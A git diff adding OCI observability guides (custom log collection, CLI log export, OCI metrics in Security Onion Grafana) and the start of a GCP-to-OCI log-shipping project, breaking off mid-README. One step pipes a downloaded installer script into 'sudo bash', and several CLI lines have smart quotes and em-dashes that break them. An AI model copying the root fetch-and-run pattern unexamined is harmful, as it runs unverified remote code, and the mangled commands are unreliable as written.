a/observability-and-management/assets/enable-custom-logs-in-oci-instances/README.md b/observability-and-management/assets/enable-custom-logs-in-oci-instances/README.md new file mode 100644 index 000000000..a81470c8f --- /dev/null +++ b/observability-and-management/assets/enable-custom-logs-in-oci-instances/README.md @@ -0,0 +1,61 @@ +# How to enable custom logs in OCI Instances + +One of the features of the logging service is the ability to collect logs directly from the running instance using the existing Oracle Cloud Agent. The only thing you need to do is to enable the Custom Agent Plug-in and create an Agent Configuration. + +Custom Logs Diagnostic information from custom applications, other cloud providers, or an on-premise environment. To ingest custom logs, call the API directly or configure the unified monitoring agent. + +Go to Menu → Observability&Management → Agent Configurations + +![Picture 14](./images/image-01.png) + +Click Create Agent config: + +![Picture 13](./images/image-02.png) + +![Picture 12](./images/image-03.png) + +As you can see, there are 2 pre-requisites before the custom logs will work: + +1- Configure the user group or Dynamic Group to use all instances from a compartment, or different instances to allow log collection + +2- Create the Dynamic Group in Menu →Identity & Security → Dynamic Groups and press Create Dynamic Group + +![Picture 11](./images/image-04.png) + +Add the matching rule Following the Service documentation: + +[Agent Management (oracle.com)](https://docs.oracle.com/en-us/iaas/Content/Logging/Concepts/agent_management.htm) + +An example is this: + +![Picture 9](./images/image-05.png) + +![Picture 8](./images/image-06.png) + +Specify what you want to collect with the Agent + +![Picture 7](./images/image-07.png) + +If you want to monitor logs from files, you can also specify the location of the log. + +![Picture 6](./images/image-08.png) + +![Picture 5](./images/image-09.png) + +Select the Log Group destination and press Create. + +Ensure that Logging&Monitoring agent is enabled on the monitored hosts + +![Picture 4](./images/image-10.png) + +After a few minutes go to one instance where you have the Custom Logging enabled and check if the logs are there. + +![Picture 3](./images/image-11.png) + +You can also check the Logs in OCI Logging Service: + +![Picture 2](./images/image-12.png) + +![Picture 1](./images/image-13.png) + +On my next blog entry, I will show you how to use the collected Windows logs with Logging Analytics to do a basic Threat Hunting. diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-01.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-01.png new file mode 100644 index 000000000..c2819ab5f Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-01.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-02.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-02.png new file mode 100644 index 000000000..e0e8668d5 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-02.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-03.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-03.png new file mode 100644 index 000000000..a702ffee6 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-03.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-04.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-04.png new file mode 100644 index 000000000..6af954b13 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-04.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-05.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-05.png new file mode 100644 index 000000000..7ff6e33b4 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-05.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-06.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-06.png new file mode 100644 index 000000000..e159ba072 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-06.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-07.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-07.png new file mode 100644 index 000000000..c40f3e766 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-07.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-08.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-08.png new file mode 100644 index 000000000..42296d9b6 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-08.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-09.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-09.png new file mode 100644 index 000000000..66696dab6 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-09.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-10.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-10.png new file mode 100644 index 000000000..45ad5c7c0 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-10.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-11.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-11.png new file mode 100644 index 000000000..7343f2d93 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-11.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-12.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-12.png new file mode 100644 index 000000000..245d773e2 Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-12.png differ diff --git a/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-13.png b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-13.png new file mode 100644 index 000000000..4f6f31fcc Binary files /dev/null and b/observability-and-management/assets/enable-custom-logs-in-oci-instances/images/image-13.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/README.md b/observability-and-management/assets/export-oci-logs-to-file/README.md new file mode 100644 index 000000000..6e94e8aa1 --- /dev/null +++ b/observability-and-management/assets/export-oci-logs-to-file/README.md @@ -0,0 +1,65 @@ +# How to export OCI logs to file + +This document e shows how to export the logs from OCI logging to files. + +To do this you have multiple options, but today I will only talk about 2 of them: + +1- Using OCI CLI to export the logs to a file ( log.json) + +[Install OCI CLI](https://docs.oracle.com/en-us/iaas/Content/API/SDKDocs/cliinstall.htm) on your computer, or use Cloud Shell. + +The command we will use is + +```text +oci logging-search search-logs "" +``` + +[https://docs.oracle.com/en-us/iaas/tools/oci-cli/3.51.0/oci_cli_docs/cmdref/logging-search/search-logs.html](https://docs.oracle.com/en-us/iaas/tools/oci-cli/3.51.0/oci_cli_docs/cmdref/logging-search/search-logs.html) + +Search query needs to have this format: + +```text +search "compartmentOcid/logGroupNameOrOcid/logNameOrOcid", "compartmentOcid_2/logGroupNameOrOcid_2", "compartmentOcid_3" +``` + +Logging Query Language Specification + +Use query syntax components with Advanced mode custom searches on the Logging Search page. + +docs.oracle.com + +In my case, I have logged in OCI, and used Explore with Log Search option for the required logs: + +![Picture 8](./images/image-01.png) + +I have copied the auto populated log query in my command: + +![Picture 7](./images/image-02.png) + +```text +oci logging-search search-logs — search-query ‘search “ocid1.compartment.oc1..xxxxxx/ocid1.loggroup.oc1.eu-frankfurt-1.YOUROCID/ocid1.log.oc1.eu-frankfurt-1.YOUROCID”’ — time-start 2025–01–01 — time-end 2025–01–09 > logs2.json +``` + +![Picture 6](./images/image-03.png) + +Congratulations, you have exported all logs locally in JSON format. + +![Picture 5](./images/image-04.png) + +2- Using OCI Connector to export the logs to Object Storage + +Create a new Connector with Source Logging and Targer Object Storage: + +![Picture 4](./images/image-05.png) + +Select the log Group/log (This will send the last 6h logs only) + +![Picture 3](./images/image-06.png) + +Select the Bucket and press create: + +![Picture 2](./images/image-07.png) + +Check the Bucket and download the logs ( CLI, [3rd Party tools](https://learnoci.cloud/how-to-connect-to-your-oci-object-storage-bucket-from-cyberduck-winscp-commander-one-and-rsync-be9c2f799b7a?sk=7fe44bdd6300a48b909e13c32628aa20), PAR, Etc.) + +![Picture 1](./images/image-08.png) diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-01.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-01.png new file mode 100644 index 000000000..93b605ee4 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-01.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-02.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-02.png new file mode 100644 index 000000000..7881e4bf8 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-02.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-03.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-03.png new file mode 100644 index 000000000..24ae9a261 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-03.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-04.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-04.png new file mode 100644 index 000000000..1b1f44a63 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-04.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-05.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-05.png new file mode 100644 index 000000000..474a5a880 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-05.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-06.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-06.png new file mode 100644 index 000000000..a649f63e4 Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-06.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-07.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-07.png new file mode 100644 index 000000000..dcc0a8d0f Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-07.png differ diff --git a/observability-and-management/assets/export-oci-logs-to-file/images/image-08.png b/observability-and-management/assets/export-oci-logs-to-file/images/image-08.png new file mode 100644 index 000000000..350424a6b Binary files /dev/null and b/observability-and-management/assets/export-oci-logs-to-file/images/image-08.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/README.md b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/README.md new file mode 100644 index 000000000..ff850f2ed --- /dev/null +++ b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/README.md @@ -0,0 +1,138 @@ +# How to feed OCI metrics to Security Onion Grafana + +This is a step-by-step guide to add the OCI metrics into Security Onion Grafana Module. + +Some useful links I have used to prepare this: + +Oracle Cloud Infrastructure Metrics plugin for Grafana | [Grafana Labs](https://grafana.com/grafana/plugins/oci-metrics-datasource/?source=post_page-----2dd1ceac3f71---------------------------------------) + +oci-grafana-metrics/linux.md at master · oracle/oci-grafana-metrics | +[Link](https://github.com/oracle/oci-grafana-metrics/blob/master/docs/linux.md?source=post_page-----2dd1ceac3f71---------------------------------------) + + +Oracle Cloud Infrastructure as a Data Source for Grafana | [Link](https://blogs.oracle.com/cloudnative/post/oracle-cloud-infrastructure-as-a-data-source-for-grafana?source=post_page-----2dd1ceac3f71---------------------------------------) + +Grafana Plug-in | [Link](https://docs.oracle.com/en-us/iaas/Content/API/SDKDocs/grafana.htm?source=post_page-----2dd1ceac3f71---------------------------------------) + +### Accounts + +By default, you will be viewing Grafana as an anonymous user. If you want to make changes to the default Grafana dashboards, you will need to log into Grafana with username admin and the randomized password found via sudo salt-call pillar.get secrets. + +![Picture 22](./images/image-01.png) + +![Picture 21](./images/image-02.png) + +Configuration + +Grafana configuration can be found in /opt/so/conf/grafana/etc/. However, please keep in mind that most configuration is managed with Salt, so if you manually make any modifications in /opt/so/conf/grafana/etc/, they may be overwritten at the next salt update. The default configuration options can be seen in /opt/so/saltstack/default/salt/grafana/defaults.yaml. Any options not specified in here, will use the Grafana default. + +Press enter or click to view image in full size + +![Picture 20](./images/image-03.png) + +1- Install OCI-CLI on the Ubuntu Host + +sudo bash -c “$(curl -L [https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.sh](https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.sh))" + +Press enter or click to view image in full size + +![Picture 19](./images/image-04.png) + +![Picture 18](./images/image-05.png) + +2- Create a dedicated user and group (You can also use Dynamic Groups as this instance runs on OCI) for monitoring + +Press enter or click to view image in full size + +![Picture 17](./images/image-06.png) + +![Picture 16](./images/image-07.png) + +Press enter or click to view image in full size + +![Picture 15](./images/image-08.png) + +3 — Create the proper policy for monitoring: + +allow group monitoring to read metrics in tenancy +allow group monitoring to read compartments in tenancy + +If you are using Dynamic Groups: + +![Picture 14](./images/image-09.png) + +allow dynamicgroup SecurityOnion to read metrics in tenancy + +allow dynamicgroup SecurityOnion to read compartments in tenancy + +sudo /root/bin/oci os ns get -–auth instance_principal + +![Picture 13](./images/image-10.png) + +The command will tell you that the instance has the rights to do calls against OCI resources. ( In this case list the Object Storage namespace). Check the link below for more details. + +Authorize Instances Principal to call services in Oracle Cloud Infrastructure + +Overview + +medium.com + +4 — Install the OCI Metrics Datasource + +as Security Onion doesn’t have the Grafana CLI configured/installed we need to add the Datasource Manually: + +![Picture 11](./images/image-11.png) + +![Picture 10](./images/image-12.png) + +Press enter or click to view image in full size + +![Picture 9](./images/image-13.png) + +Press Install: + +Press enter or click to view image in full size + +![Picture 8](./images/image-14.png) + +After press Create a Oracle Cloud Infrastructure metrics data source: + +Press enter or click to view image in full size + +![Picture 7](./images/image-15.png) + +Press Save&test + +Press enter or click to view image in full size + +![Picture 6](./images/image-16.png) + +If you get this, then you need to check the configuration: + +Press enter or click to view image in full size + +![Picture 5](./images/image-17.png) + +Go to Configuration==>Data Sources + +![Picture 4](./images/image-18.png) + +Click on Oracle Cloud Infrastructure Metrics: + +Press enter or click to view image in full size + +![Picture 3](./images/image-19.png) + +Populate with he Tenancy OCID , Region and Enviornment: + +Press enter or click to view image in full size + +![Picture 2](./images/image-20.png) + +Go to Explore and see the collected metrics. + +Press enter or click to view image in full size + +![Picture 1](./images/image-21.png) + +You can create your own Grafana Dashboard from here with the imported metrics. diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-01.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-01.png new file mode 100644 index 000000000..d65aa753d Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-01.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-02.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-02.png new file mode 100644 index 000000000..e6f21673f Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-02.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-03.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-03.png new file mode 100644 index 000000000..b94c1400a Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-03.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-04.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-04.png new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-05.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-05.png new file mode 100644 index 000000000..1f06d195f Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-05.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-06.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-06.png new file mode 100644 index 000000000..774c48fb2 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-06.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-07.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-07.png new file mode 100644 index 000000000..95bbf8373 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-07.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-08.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-08.png new file mode 100644 index 000000000..11d6d19f2 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-08.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-09.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-09.png new file mode 100644 index 000000000..9fccc2f6b Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-09.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-10.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-10.png new file mode 100644 index 000000000..6c98c9d3a Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-10.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-11.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-11.png new file mode 100644 index 000000000..33c480899 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-11.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-12.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-12.png new file mode 100644 index 000000000..8cf84b274 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-12.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-13.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-13.png new file mode 100644 index 000000000..04058293c Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-13.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-14.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-14.png new file mode 100644 index 000000000..3700b35a3 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-14.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-15.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-15.png new file mode 100644 index 000000000..b6d184607 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-15.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-16.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-16.png new file mode 100644 index 000000000..2154bc80d Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-16.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-17.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-17.png new file mode 100644 index 000000000..84036a309 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-17.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-18.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-18.png new file mode 100644 index 000000000..13a36196e Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-18.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-19.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-19.png new file mode 100644 index 000000000..89d6f7f44 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-19.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-20.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-20.png new file mode 100644 index 000000000..f787e45f0 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-20.png differ diff --git a/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-21.png b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-21.png new file mode 100644 index 000000000..031179e01 Binary files /dev/null and b/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/images/image-21.png differ diff --git a/observability-and-management/assets/gcplogs2oci/.env.example b/observability-and-management/assets/gcplogs2oci/.env.example new file mode 100644 index 000000000..bebaf4de6 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/.env.example @@ -0,0 +1,76 @@ +# Copy to .env.local and fill in your values (file is ignored by git). +# Usage: cp .env.example .env.local + +# ────────────────────────────────────────────── +# GCP – Pub/Sub Source +# ────────────────────────────────────────────── +GCP_PROJECT_ID="my-gcp-project" +GCP_PUBSUB_TOPIC="oci-log-export-topic" +GCP_PUBSUB_SUBSCRIPTION="fluentd-oci-bridge-sub" + +# GCP authentication – choose one: +# Option A (local dev): Use Application Default Credentials (recommended) +# Run: gcloud auth application-default login +# No variable needed — ADC is used automatically. +# Option B (CI/production): Service account JSON key file +# The bridge service account needs: +# - roles/pubsub.subscriber (subscription scope) +# - roles/pubsub.viewer (topic/subscription scope, diagnostics) +# GOOGLE_APPLICATION_CREDENTIALS="/path/to/gcp-sa-key.json" + +# Log Router filter (used by setup_gcp.sh) +GCP_LOG_FILTER='severity >= ERROR' +GCP_LOG_SINK_NAME="gcp-to-oci-sink" + +# Optional IAM automation inputs (used by scripts/setup_gcp_iam.sh) +# GCP_BRIDGE_SA_EMAIL="oci-log-shipper-sa@my-gcp-project.iam.gserviceaccount.com" +# GCP_SETUP_PRINCIPAL="user:admin@example.com" +# GCP_TEST_PUBLISHER_PRINCIPAL="user:developer@example.com" + +# ────────────────────────────────────────────── +# OCI – Streaming Target +# (These values are printed by setup_oci.sh — fill in after running it) +# ────────────────────────────────────────────── +OCI_MESSAGE_ENDPOINT="https://cell-1.streaming..oci.oraclecloud.com" +OCI_STREAM_OCID="ocid1.stream.oc1..example" + +# OCI API signing keys (use KEY_FILE for local dev, KEY_CONTENT for CI/containers) +OCI_USER_OCID="ocid1.user.oc1..example" +OCI_KEY_FILE="~/.oci/oci_api_key.pem" +# OCI_KEY_CONTENT="-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" +OCI_KEY_PASSPHRASE="" +OCI_FINGERPRINT="" +OCI_TENANCY_OCID="ocid1.tenancy.oc1..example" +OCI_REGION="us-ashburn-1" + +# OCI Streaming – Kafka interface (used by Fluentd / Docker bridge) +OCI_STREAM_POOL_ENDPOINT="cell-1.streaming..oci.oraclecloud.com" +OCI_STREAM_POOL_ID="ocid1.streampool.oc1..example" +OCI_KAFKA_USERNAME="//" +OCI_AUTH_TOKEN="" + +# OCI Log Analytics (used by setup_oci.sh) +OCI_COMPARTMENT_OCID="ocid1.compartment.oc1..example" +# Log Analytics namespace (auto-detected by setup_oci.sh if left empty) +OCI_LOG_ANALYTICS_NAMESPACE="" + +# OCI setup_oci.sh defaults (override to customise names) +# OCI_STREAM_POOL_NAME="MultiCloud_Log_Pool" +# OCI_STREAM_NAME="gcp-inbound-stream" +# OCI_LOG_GROUP_NAME="GCPLogs" +# OCI_SCH_NAME="GCP-Stream-to-LogAnalytics" + +# Optional IAM automation inputs (used by scripts/setup_oci_iam.sh) +# SCH runtime policy is always applied. +# OCI_IAM_POLICY_PREFIX="gcplogs2oci" +# OCI_IAM_OPERATOR_GROUP="gcplogs2oci-operators" +# OCI_IAM_BRIDGE_GROUP="gcplogs2oci-bridge" + +# ────────────────────────────────────────────── +# Bridge Tuning +# ────────────────────────────────────────────── +MAX_BATCH_SIZE=100 +MAX_BATCH_BYTES=1048576 +ACK_DEADLINE_SECONDS=60 +PULL_MAX_MESSAGES=1000 +INACTIVITY_TIMEOUT=30 diff --git a/observability-and-management/assets/gcplogs2oci/.gitignore b/observability-and-management/assets/gcplogs2oci/.gitignore new file mode 100644 index 000000000..c000ee276 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/.gitignore @@ -0,0 +1,50 @@ +# General +.DS_Store +.AppleDouble +.LSOverride +Icon +._* +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +# Security keys – never commit +*.key +*.crt +*.csr +*.pem +gcp-sa-key.json + +# Local development +.venv/ +__pycache__/ +*.pyc +.env +.env.local +.python_packages/ + +# IDE +.vscode/ +.idea/ + +# Docker +docker/.env + +# Terraform +.terraform/ +*.tfstate +*.tfstate.backup +*.tfplan +.terraform.lock.hcl + +# OS +Thumbs.db diff --git a/observability-and-management/assets/gcplogs2oci/LICENSE.txt b/observability-and-management/assets/gcplogs2oci/LICENSE.txt new file mode 100644 index 000000000..46c0c79d9 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/LICENSE.txt @@ -0,0 +1,35 @@ +Copyright (c) 2025 Oracle and/or its affiliates. + +The Universal Permissive License (UPL), Version 1.0 + +Subject to the condition set forth below, permission is hereby granted to any +person obtaining a copy of this software, associated documentation and/or data +(collectively the "Software"), free of charge and under any and all copyright +rights in the Software, and any and all patent rights owned or freely +licensable by each licensor hereunder covering either (i) the unmodified +Software as contributed to or provided by such licensor, or (ii) the Larger +Works (as defined below), to deal in both + +(a) the Software, and +(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if +one is included with the Software (each a "Larger Work" to which the Software +is contributed by such licensors), + +without restriction, including without limitation the rights to copy, create +derivative works of, display, perform, and distribute the Software and make, +use, sell, offer for sale, import, export, have made, and have sold the +Software and the Larger Work(s), and to sublicense the foregoing rights on +either these or other terms. + +This license is subject to the following condition: +The above copyright notice and either this complete permission notice or at +a minimum a reference to the UPL must be included in all copies or +substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/observability-and-management/assets/gcplogs2oci/README.md b/observability-and-management/assets/gcplogs2oci/README.md new file mode 100644 index 000000000..a9c2fc203 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/README.md @@ -0,0 +1,554 @@ +# gcplogs2oci + +Stream Google Cloud Platform logs into Oracle Cloud Infrastructure Log Analytics — without VMs. + +[![Deploy to Oracle Cloud](https://oci-resourcemanager-plugin.plugins.oci.oraclecloud.com/latest/deploy-to-oracle-cloud.svg)](https://cloud.oracle.com/resourcemanager/stacks/create?zipUrl=https://github.com/adibirzu/gcplogs2oci/archive/refs/heads/main.zip) + +## Overview + +This project implements a serverless log-shipping pipeline that extracts telemetry from **GCP Cloud Logging** via **Pub/Sub** and ingests it into **OCI Log Analytics** through **OCI Streaming**, with a custom parser that maps all GCP Cloud Logging structured fields. + +### Architecture + +```mermaid +flowchart LR + subgraph GCP ["Google Cloud Platform"] + CL["Cloud Logging"] + LR["Log Router Sink"] + PS["Pub/Sub Topic"] + SUB["Pull Subscription"] + end + + subgraph Bridge ["Bridge (pick one)"] + PY["Python SDK
bridge/main.py"] + FL["Fluentd Container
docker/"] + end + + subgraph OCI ["Oracle Cloud Infrastructure"] + ST["OCI Streaming
(Kafka-compatible)"] + SCH["Connector Hub"] + LA["Log Analytics
44 field mappings"] + DASH["Dashboards &
Queries"] + end + + CL --> LR --> PS --> SUB + SUB --> PY --> ST + SUB -.-> FL -.-> ST + ST --> SCH --> LA --> DASH +``` + +### Provisioned Resources + +The setup scripts create the following resources across both cloud providers: + +```mermaid +flowchart TB + subgraph GCP ["GCP Resources (setup_gcp.sh)"] + direction TB + G1["Pub/Sub Topic
oci-log-export-topic"] + G2["Pull Subscription
fluentd-oci-bridge-sub"] + G3["Log Router Sink
gcp-to-oci-sink"] + G4["Service Account
oci-log-shipper-sa"] + G5["IAM Bindings
Pub/Sub Subscriber + Viewer"] + end + + subgraph OCI ["OCI Resources (setup_oci.sh)"] + direction TB + O1["Stream Pool
MultiCloud_Log_Pool"] + O2["Stream
gcp-inbound-stream"] + O3["Log Analytics Log Group
GCPLogs"] + O4["40 Custom Fields + JSON Parser
44 field mappings"] + O5["Log Analytics Source
GCP Cloud Logging Logs"] + O6["Connector Hub
GCP-Stream-to-LogAnalytics"] + O7["IAM Policies
